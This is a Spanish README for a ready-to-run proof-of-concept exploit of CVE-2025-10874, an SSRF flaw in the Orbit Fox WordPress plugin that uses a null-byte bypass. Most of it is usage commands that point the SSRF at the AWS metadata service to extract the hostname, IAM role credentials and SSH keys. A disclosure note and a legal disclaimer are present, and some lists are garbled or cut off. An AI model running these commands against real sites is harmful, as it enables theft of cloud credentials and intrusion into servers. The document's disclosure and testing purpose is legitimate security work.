
Demuestra SSRF con inyección de byte nulo para evadir CVE-2025-10874

Exploit de prueba de concepto que demuestra la vulnerabilidad de Server-Side Request Forgery (SSRF) en el plugin Orbit Fox de WordPress con bypass de inyección de byte nulo.
Artículo detallado: https://ryanmroth.com/articles/orbit-fox-ssrf
| Detalle | Notas |
|---|
| ID CVE: | CVE-2025-10874 |
| Plugin Afectado: | Orbit Fox de ThemeIsle |
| Tipo de Vulnerabilidad: | Server-Side Request Forgery (SSRF) (CWE-918) |
| Puntuación CVSS: | 5.5 (media) |
| Privilegios Requeridos: | Autor+ (rol de Autor de WordPress o superior) |
| Versión Corregida | 3.0.2+ |
La funcionalidad de importación MyStock del plugin Orbit Fox contiene una vulnerabilidad SSRF que permite a usuarios autenticados con privilegios de Autor+ realizar solicitudes HTTP arbitrarias desde el servidor WordPress. La vulnerabilidad existe en la acción AJAX handle-request-mystock-import, que no valida ni sanitiza adecuadamente los parámetros de URL.
El exploit aprovecha un bypass de inyección de byte nulo (%00.txt) para eludir la validación de URL, permitiendo el acceso a servicios internos de metadatos, API de proveedores de nube y otros recursos de red accesibles desde el servidor.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequestsurllib3# Clonar el repositorio
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Instalar dependencias (usando uv)
uv sync
# O usando pip
pip install requests urllib3
# Extraer nombre de host de instancia AWS (objetivo predeterminado)
python orbit_fox_poc.py http://target.com -u author -p password123
# Especificar URL SSRF personalizada
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Extraer credenciales de rol IAM
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extraer clave pública SSH
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Probar sin bypass de byte nulo (fallará en versiones parcheadas)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Habilitar salida de depuración para solución de problemas
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
argumentos posicionales:
target URL de WordPress objetivo (ej., http://example.com)
argumentos requeridos:
-u, --username Nombre de usuario de WordPress (se requiere rol Autor+)
-p, --password Contraseña de WordPress
argumentos opcionales:
-h, --help Mostrar mensaje de ayuda y salir
-s, --ssrf-url URL a solicitar mediante SSRF
(predeterminado: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Deshabilitar bypass de byte nulo (probar solo SSRF básico)
--debug Habilitar salida de depuración para solución de problemas
%00.txt a la URL objetivo para eludir la validaciónhandle-request-mystock-importadmin-ajax.php con la acción handle-request-mystock-importEsta vulnerabilidad fue divulgada responsablemente al proveedor y ha sido parcheada en Orbit Fox versión 3.0.2. Esta prueba de concepto se proporciona para:
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Los usuarios deben:
El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.
Última Actualización: 2025-10-06